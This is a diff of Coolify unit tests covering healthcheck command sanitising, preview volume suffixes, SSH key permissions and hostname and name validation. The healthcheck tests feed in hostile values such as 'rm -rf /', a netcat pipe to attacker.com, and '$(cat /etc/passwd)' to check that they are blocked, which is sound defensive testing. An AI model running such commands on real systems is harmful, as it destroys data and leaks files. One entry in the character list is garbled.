+it('falls back to HTTP healthcheck when CMD command contains shell metacharacters', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'curl localhost; rm -rf /',
+ ]);
+
+ // Semicolons are blocked by runtime regex — falls back to HTTP healthcheck
+ expect($result)->toContain('curl -s -X')
+ ->and($result)->not->toContain('rm -rf');
+});
+
+it('falls back to HTTP healthcheck when CMD command contains pipe operator', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'echo test | nc attacker.com 4444',
+ ]);
+
+ expect($result)->toContain('curl -s -X')
+ ->and($result)->not->toContain('nc attacker.com');
+});
+
+it('falls back to HTTP healthcheck when CMD command contains subshell', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'curl $(cat /etc/passwd)',
+ ]);
+
+ expect($result)->toContain('curl -s -X')
+ ->and($result)->not->toContain('/etc/passwd');
+});
+
+it('falls back to HTTP healthcheck when CMD command exceeds 1000 characters', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => str_repeat('a', 1001),
+ ]);
+
+ // Exceeds max length — falls back to HTTP healthcheck
+ expect($result)->toContain('curl -s -X');
+});
+
+it('falls back to HTTP healthcheck when CMD command contains backticks', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_type' => 'cmd',
+ 'health_check_command' => 'curl `cat /etc/passwd`',
+ ]);
+
+ expect($result)->toContain('curl -s -X')
+ ->and($result)->not->toContain('/etc/passwd');
+});
+
+it('uses sanitized method in full_healthcheck_url display', function () {
+ $result = callGenerateHealthcheckCommands([
+ 'health_check_method' => 'INVALID;evil',
+ 'health_check_host' => 'localhost',
+ ]);
+
+ // Method should be sanitized to 'GET' (default) in both command and display
+ expect($result)->toContain("'GET'")
+ ->and($result)->not->toContain('evil');
+});
+
it('validates healthCheckCommand rejects strings over 1000 characters', function () {
$rules = [
'healthCheckCommand' => 'nullable|string|max:1000',
@@ -253,15 +318,20 @@ function callGenerateHealthcheckCommands(array $overrides = []): string
$application->shouldReceive('getAttribute')->with('settings')->andReturn($settings);
$deploymentQueue = Mockery::mock(ApplicationDeploymentQueue::class)->makePartial();
+ $deploymentQueue->shouldReceive('addLogEntry')->andReturnNull();
$job = Mockery::mock(ApplicationDeploymentJob::class)->makePartial();
- $reflection = new ReflectionClass($job);
+ $reflection = new ReflectionClass(ApplicationDeploymentJob::class);
$appProp = $reflection->getProperty('application');
$appProp->setAccessible(true);
$appProp->setValue($job, $application);
+ $queueProp = $reflection->getProperty('application_deployment_queue');
+ $queueProp->setAccessible(true);
+ $queueProp->setValue($job, $deploymentQueue);
+
$method = $reflection->getMethod('generate_healthcheck_commands');
$method->setAccessible(true);
diff --git a/tests/Unit/PreviewDeploymentBindMountTest.php b/tests/Unit/PreviewDeploymentBindMountTest.php
new file mode 100644
index 000000000..0bf23e4e3
--- /dev/null
+++ b/tests/Unit/PreviewDeploymentBindMountTest.php
@@ -0,0 +1,176 @@
+destination->server, etc.), making them
+ * unsuitable for unit tests. Integration tests for those paths belong
+ * in tests/Feature/.
+ */
+describe('addPreviewDeploymentSuffix', function () {
+ it('appends -pr-N suffix for non-zero pull request id', function () {
+ expect(addPreviewDeploymentSuffix('myvolume', 3))->toBe('myvolume-pr-3');
+ });
+
+ it('returns name unchanged when pull request id is zero', function () {
+ expect(addPreviewDeploymentSuffix('myvolume', 0))->toBe('myvolume');
+ });
+
+ it('handles pull request id of 1', function () {
+ expect(addPreviewDeploymentSuffix('scripts', 1))->toBe('scripts-pr-1');
+ });
+
+ it('handles large pull request ids', function () {
+ expect(addPreviewDeploymentSuffix('data', 9999))->toBe('data-pr-9999');
+ });
+
+ it('handles names with dots and slashes', function () {
+ expect(addPreviewDeploymentSuffix('./scripts', 2))->toBe('./scripts-pr-2');
+ });
+
+ it('handles names with existing hyphens', function () {
+ expect(addPreviewDeploymentSuffix('my-volume-name', 5))->toBe('my-volume-name-pr-5');
+ });
+
+ it('handles empty name with non-zero pr id', function () {
+ expect(addPreviewDeploymentSuffix('', 1))->toBe('-pr-1');
+ });
+
+ it('handles uuid-prefixed volume names', function () {
+ $uuid = 'abc123_my-volume';
+ expect(addPreviewDeploymentSuffix($uuid, 7))->toBe('abc123_my-volume-pr-7');
+ });
+
+ it('defaults pull_request_id to 0', function () {
+ expect(addPreviewDeploymentSuffix('myvolume'))->toBe('myvolume');
+ });
+});
+
+describe('sourceIsLocal', function () {
+ it('detects relative paths starting with dot-slash', function () {
+ expect(sourceIsLocal(str('./scripts')))->toBeTrue();
+ });
+
+ it('detects absolute paths starting with slash', function () {
+ expect(sourceIsLocal(str('/var/data')))->toBeTrue();
+ });
+
+ it('detects tilde paths', function () {
+ expect(sourceIsLocal(str('~/data')))->toBeTrue();
+ });
+
+ it('detects parent directory paths', function () {
+ expect(sourceIsLocal(str('../config')))->toBeTrue();
+ });
+
+ it('returns false for named volumes', function () {
+ expect(sourceIsLocal(str('myvolume')))->toBeFalse();
+ });
+});
+
+describe('replaceLocalSource', function () {
+ it('replaces dot-slash prefix with target path', function () {
+ $result = replaceLocalSource(str('./scripts'), str('/app'));
+ expect((string) $result)->toBe('/app/scripts');
+ });
+
+ it('replaces dot-dot-slash prefix with target path', function () {
+ $result = replaceLocalSource(str('../config'), str('/app'));
+ expect((string) $result)->toBe('/app./config');
+ });
+
+ it('replaces tilde prefix with target path', function () {
+ $result = replaceLocalSource(str('~/data'), str('/app'));
+ expect((string) $result)->toBe('/app/data');
+ });
+});
+
+/**
+ * Source-code structure tests for parser and deployment job.
+ *
+ * These verify that key code patterns exist in the parser and deployment job.
+ * They are intentionally text-based because the parser/deployment functions
+ * require database-persisted models with deep relationships, making behavioral
+ * unit tests impractical. Full behavioral coverage should be done via Feature tests.
+ */
+describe('parser structure: bind mount handling', function () {
+ it('checks is_preview_suffix_enabled before applying suffix', function () {
+ $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
+
+ $bindBlockStart = strpos($parsersFile, "if (\$type->value() === 'bind')");
+ $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')");
+ $bindBlock = substr($parsersFile, $bindBlockStart, $volumeBlockStart - $bindBlockStart);
+
+ expect($bindBlock)
+ ->toContain('$isPreviewSuffixEnabled')
+ ->toContain('is_preview_suffix_enabled')
+ ->toContain('addPreviewDeploymentSuffix');
+ });
+
+ it('applies preview suffix to named volumes', function () {
+ $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
+
+ $volumeBlockStart = strpos($parsersFile, "} elseif (\$type->value() === 'volume')");
+ $volumeBlock = substr($parsersFile, $volumeBlockStart, 1000);
+
+ expect($volumeBlock)->toContain('addPreviewDeploymentSuffix');
+ });
+});
+
+describe('parser structure: label generation uuid isolation', function () {
+ it('uses labelUuid instead of mutating shared uuid', function () {
+ $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
+
+ $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly = $resource->destination->server->settings->generate_exact_labels;');
+ $labelBlock = substr($parsersFile, $labelBlockStart, 300);
+
+ expect($labelBlock)
+ ->toContain('$labelUuid = $resource->uuid')
+ ->not->toContain('$uuid = $resource->uuid')
+ ->not->toContain('$uuid = "{$resource->uuid}');
+ });
+
+ it('uses labelUuid in all proxy label generation calls', function () {
+ $parsersFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/parsers.php');
+
+ $labelBlockStart = strpos($parsersFile, '$shouldGenerateLabelsExactly');
+ $labelBlockEnd = strpos($parsersFile, "data_forget(\$service, 'volumes.*.content')");
+ $labelBlock = substr($parsersFile, $labelBlockStart, $labelBlockEnd - $labelBlockStart);
+
+ expect($labelBlock)
+ ->toContain('uuid: $labelUuid')
+ ->not->toContain('uuid: $uuid');
+ });
+});
+
+describe('deployment job structure: is_preview_suffix_enabled', function () {
+ it('checks setting in generate_local_persistent_volumes', function () {
+ $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
+
+ $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes()');
+ $methodEnd = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()');
+ $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart);
+
+ expect($methodBlock)
+ ->toContain('is_preview_suffix_enabled')
+ ->toContain('$isPreviewSuffixEnabled')
+ ->toContain('addPreviewDeploymentSuffix');
+ });
+
+ it('checks setting in generate_local_persistent_volumes_only_volume_names', function () {
+ $deploymentJobFile = file_get_contents(__DIR__.'/../../app/Jobs/ApplicationDeploymentJob.php');
+
+ $methodStart = strpos($deploymentJobFile, 'function generate_local_persistent_volumes_only_volume_names()');
+ $methodEnd = strpos($deploymentJobFile, 'function generate_healthcheck_commands()');
+ $methodBlock = substr($deploymentJobFile, $methodStart, $methodEnd - $methodStart);
+
+ expect($methodBlock)
+ ->toContain('is_preview_suffix_enabled')
+ ->toContain('$isPreviewSuffixEnabled')
+ ->toContain('addPreviewDeploymentSuffix');
+ });
+});
diff --git a/tests/Unit/SshKeyValidationTest.php b/tests/Unit/SshKeyValidationTest.php
new file mode 100644
index 000000000..adc6847d1
--- /dev/null
+++ b/tests/Unit/SshKeyValidationTest.php
@@ -0,0 +1,208 @@
+diskRoot = sys_get_temp_dir().'/coolify-ssh-test-'.Str::uuid();
+ File::ensureDirectoryExists($this->diskRoot);
+ config(['filesystems.disks.ssh-keys.root' => $this->diskRoot]);
+ app('filesystem')->forgetDisk('ssh-keys');
+ }
+
+ protected function tearDown(): void
+ {
+ File::deleteDirectory($this->diskRoot);
+ parent::tearDown();
+ }
+
+ private function makePrivateKey(string $keyContent = 'TEST_KEY_CONTENT'): PrivateKey
+ {
+ $privateKey = new class extends PrivateKey
+ {
+ public int $storeCallCount = 0;
+
+ public function refresh()
+ {
+ return $this;
+ }
+
+ public function getKeyLocation()
+ {
+ return Storage::disk('ssh-keys')->path("ssh_key@{$this->uuid}");
+ }
+
+ public function storeInFileSystem()
+ {
+ $this->storeCallCount++;
+ $filename = "ssh_key@{$this->uuid}";
+ $disk = Storage::disk('ssh-keys');
+ $disk->put($filename, $this->private_key);
+ $keyLocation = $disk->path($filename);
+ chmod($keyLocation, 0600);
+
+ return $keyLocation;
+ }
+ };
+
+ $privateKey->uuid = (string) Str::uuid();
+ $privateKey->private_key = $keyContent;
+
+ return $privateKey;
+ }
+
+ private function callValidateSshKey(PrivateKey $privateKey): void
+ {
+ $reflection = new \ReflectionMethod(SshMultiplexingHelper::class, 'validateSshKey');
+ $reflection->setAccessible(true);
+ $reflection->invoke(null, $privateKey);
+ }
+
+ public function test_validate_ssh_key_rewrites_stale_file_and_fixes_permissions()
+ {
+ $privateKey = $this->makePrivateKey('NEW_PRIVATE_KEY_CONTENT');
+
+ $filename = "ssh_key@{$privateKey->uuid}";
+ $disk = Storage::disk('ssh-keys');
+ $disk->put($filename, 'OLD_PRIVATE_KEY_CONTENT');
+ $keyPath = $disk->path($filename);
+ chmod($keyPath, 0644);
+
+ $this->callValidateSshKey($privateKey);
+
+ $this->assertSame('NEW_PRIVATE_KEY_CONTENT', $disk->get($filename));
+ $this->assertSame(1, $privateKey->storeCallCount);
+ $this->assertSame(0600, fileperms($keyPath) & 0777);
+ }
+
+ public function test_validate_ssh_key_creates_missing_file()
+ {
+ $privateKey = $this->makePrivateKey('MY_KEY_CONTENT');
+
+ $filename = "ssh_key@{$privateKey->uuid}";
+ $disk = Storage::disk('ssh-keys');
+ $this->assertFalse($disk->exists($filename));
+
+ $this->callValidateSshKey($privateKey);
+
+ $this->assertTrue($disk->exists($filename));
+ $this->assertSame('MY_KEY_CONTENT', $disk->get($filename));
+ $this->assertSame(1, $privateKey->storeCallCount);
+ }
+
+ public function test_validate_ssh_key_skips_rewrite_when_content_matches()
+ {
+ $privateKey = $this->makePrivateKey('SAME_KEY_CONTENT');
+
+ $filename = "ssh_key@{$privateKey->uuid}";
+ $disk = Storage::disk('ssh-keys');
+ $disk->put($filename, 'SAME_KEY_CONTENT');
+ $keyPath = $disk->path($filename);
+ chmod($keyPath, 0600);
+
+ $this->callValidateSshKey($privateKey);
+
+ $this->assertSame(0, $privateKey->storeCallCount, 'Should not rewrite when content matches');
+ $this->assertSame('SAME_KEY_CONTENT', $disk->get($filename));
+ }
+
+ public function test_validate_ssh_key_fixes_permissions_without_rewrite()
+ {
+ $privateKey = $this->makePrivateKey('KEY_CONTENT');
+
+ $filename = "ssh_key@{$privateKey->uuid}";
+ $disk = Storage::disk('ssh-keys');
+ $disk->put($filename, 'KEY_CONTENT');
+ $keyPath = $disk->path($filename);
+ chmod($keyPath, 0644);
+
+ $this->callValidateSshKey($privateKey);
+
+ $this->assertSame(0, $privateKey->storeCallCount, 'Should not rewrite when content matches');
+ $this->assertSame(0600, fileperms($keyPath) & 0777, 'Should fix permissions even without rewrite');
+ }
+
+ public function test_store_in_file_system_enforces_correct_permissions()
+ {
+ $privateKey = $this->makePrivateKey('KEY_FOR_PERM_TEST');
+ $privateKey->storeInFileSystem();
+
+ $filename = "ssh_key@{$privateKey->uuid}";
+ $keyPath = Storage::disk('ssh-keys')->path($filename);
+
+ $this->assertSame(0600, fileperms($keyPath) & 0777);
+ }
+
+ public function test_store_in_file_system_lock_file_persists()
+ {
+ // Use the real storeInFileSystem to verify lock file behavior
+ $disk = Storage::disk('ssh-keys');
+ $uuid = (string) Str::uuid();
+ $filename = "ssh_key@{$uuid}";
+ $keyLocation = $disk->path($filename);
+ $lockFile = $keyLocation.'.lock';
+
+ $privateKey = new class extends PrivateKey
+ {
+ public function refresh()
+ {
+ return $this;
+ }
+
+ public function getKeyLocation()
+ {
+ return Storage::disk('ssh-keys')->path("ssh_key@{$this->uuid}");
+ }
+
+ protected function ensureStorageDirectoryExists()
+ {
+ // No-op in test — directory already exists
+ }
+ };
+
+ $privateKey->uuid = $uuid;
+ $privateKey->private_key = 'LOCK_TEST_KEY';
+
+ $privateKey->storeInFileSystem();
+
+ // Lock file should persist (not be deleted) to prevent flock race conditions
+ $this->assertFileExists($lockFile, 'Lock file should persist after storeInFileSystem');
+ }
+
+ public function test_server_model_detects_private_key_id_changes()
+ {
+ $reflection = new \ReflectionMethod(\App\Models\Server::class, 'booted');
+ $filename = $reflection->getFileName();
+ $startLine = $reflection->getStartLine();
+ $endLine = $reflection->getEndLine();
+ $source = implode('', array_slice(file($filename), $startLine - 1, $endLine - $startLine + 1));
+
+ $this->assertStringContainsString(
+ "wasChanged('private_key_id')",
+ $source,
+ 'Server saved event should detect private_key_id changes'
+ );
+ }
+}
diff --git a/tests/Unit/ValidHostnameTest.php b/tests/Unit/ValidHostnameTest.php
index 859262c3e..6580a7c5d 100644
--- a/tests/Unit/ValidHostnameTest.php
+++ b/tests/Unit/ValidHostnameTest.php
@@ -21,6 +21,8 @@
'subdomain' => 'web.app.example.com',
'max label length' => str_repeat('a', 63),
'max total length' => str_repeat('a', 63).'.'.str_repeat('b', 63).'.'.str_repeat('c', 63).'.'.str_repeat('d', 59),
+ 'uppercase hostname' => 'MyServer',
+ 'mixed case fqdn' => 'MyServer.Example.COM',
]);
it('rejects invalid RFC 1123 hostnames', function (string $hostname, string $expectedError) {
@@ -36,8 +38,7 @@
expect($failCalled)->toBeTrue();
expect($errorMessage)->toContain($expectedError);
})->with([
- 'uppercase letters' => ['MyServer', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
- 'underscore' => ['my_server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
+ 'underscore' => ['my_server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
'starts with hyphen' => ['-myserver', 'cannot start or end with a hyphen'],
'ends with hyphen' => ['myserver-', 'cannot start or end with a hyphen'],
'starts with dot' => ['.myserver', 'cannot start or end with a dot'],
@@ -46,9 +47,9 @@
'too long total' => [str_repeat('a', 254), 'must not exceed 253 characters'],
'label too long' => [str_repeat('a', 64), 'must be 1-63 characters'],
'empty label' => ['my..server', 'consecutive dots'],
- 'special characters' => ['my@server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
- 'space' => ['my server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
- 'shell metacharacters' => ['my;server', 'lowercase letters (a-z), numbers (0-9), hyphens (-), and dots (.)'],
+ 'special characters' => ['my@server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
+ 'space' => ['my server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
+ 'shell metacharacters' => ['my;server', 'letters (a-z, A-Z), numbers (0-9), hyphens (-), and dots (.)'],
]);
it('accepts empty hostname', function () {
diff --git a/tests/Unit/ValidationPatternsTest.php b/tests/Unit/ValidationPatternsTest.php
new file mode 100644
index 000000000..0da8f9a4d
--- /dev/null
+++ b/tests/Unit/ValidationPatternsTest.php
@@ -0,0 +1,82 @@
+toBe(1);
+})->with([
+ 'simple name' => 'My Server',
+ 'name with hyphen' => 'my-server',
+ 'name with underscore' => 'my_server',
+ 'name with dot' => 'my.server',
+ 'name with slash' => 'my/server',
+ 'name with at sign' => 'user@host',
+ 'name with ampersand' => 'Tom & Jerry',
+ 'name with parentheses' => 'My Server (Production)',
+ 'name with hash' => 'Server #1',
+ 'name with comma' => 'Server, v2',
+ 'name with colon' => 'Server: Production',
+ 'name with plus' => 'C++ App',
+ 'unicode name' => 'Ünïcödé Sërvér',
+ 'unicode chinese' => '我的服务器',
+ 'numeric name' => '12345',
+ 'complex name' => 'App #3 (staging): v2.1+hotfix',
+]);
+
+it('rejects names with dangerous characters', function (string $name) {
+ expect(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(0);
+})->with([
+ 'semicolon' => 'my;server',
+ 'pipe' => 'my|server',
+ 'dollar sign' => 'my$server',
+ 'backtick' => 'my`server',
+ 'backslash' => 'my\\server',
+ 'less than' => 'my 'my>server',
+ 'curly braces' => 'my{server}',
+ 'square brackets' => 'my[server]',
+ 'tilde' => 'my~server',
+ 'caret' => 'my^server',
+ 'question mark' => 'my?server',
+ 'percent' => 'my%server',
+ 'double quote' => 'my"server',
+ 'exclamation' => 'my!server',
+ 'asterisk' => 'my*server',
+]);
+
+it('generates nameRules with correct defaults', function () {
+ $rules = ValidationPatterns::nameRules();
+
+ expect($rules)->toContain('required')
+ ->toContain('string')
+ ->toContain('min:3')
+ ->toContain('max:255')
+ ->toContain('regex:'.ValidationPatterns::NAME_PATTERN);
+});
+
+it('generates nullable nameRules when not required', function () {
+ $rules = ValidationPatterns::nameRules(required: false);
+
+ expect($rules)->toContain('nullable')
+ ->not->toContain('required');
+});
+
+it('generates application names that comply with NAME_PATTERN', function (string $repo, string $branch) {
+ $name = generate_application_name($repo, $branch, 'testcuid');
+
+ expect(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
+})->with([
+ 'normal repo' => ['owner/my-app', 'main'],
+ 'repo with dots' => ['repo.with.dots', 'feat/branch'],
+ 'repo with plus' => ['C++ App', 'main'],
+ 'branch with parens' => ['my-app', 'fix(auth)-login'],
+ 'repo with exclamation' => ['my-app!', 'main'],
+ 'repo with brackets' => ['app[test]', 'develop'],
+]);
+
+it('falls back to random name when repo produces empty name', function () {
+ $name = generate_application_name('!!!', 'main', 'testcuid');
+
+ expect(mb_strlen($name))->toBeGreaterThanOrEqual(3)
+ ->and(preg_match(ValidationPatterns::NAME_PATTERN, $name))->toBe(1);
+});
diff --git a/versions.json b/versions.json
index 7564f625e..c2ab7a7c1 100644
--- a/versions.json
+++ b/versions.json
@@ -1,7 +1,7 @@
{
"coolify": {
"v4": {
- "version": "4.0.0-beta.469"
+ "version": "4.0.0-beta.470"
},
"nightly": {
"version": "4.0.0"
@@ -13,17 +13,17 @@
"version": "1.0.11"
},
"sentinel": {
- "version": "0.0.19"
+ "version": "0.0.21"
}
},
"traefik": {
- "v3.6": "3.6.5",
+ "v3.6": "3.6.11",
"v3.5": "3.5.6",
"v3.4": "3.4.5",
"v3.3": "3.3.7",
"v3.2": "3.2.5",
"v3.1": "3.1.7",
"v3.0": "3.0.4",
- "v2.11": "2.11.32"
+ "v2.11": "2.11.40"
}
}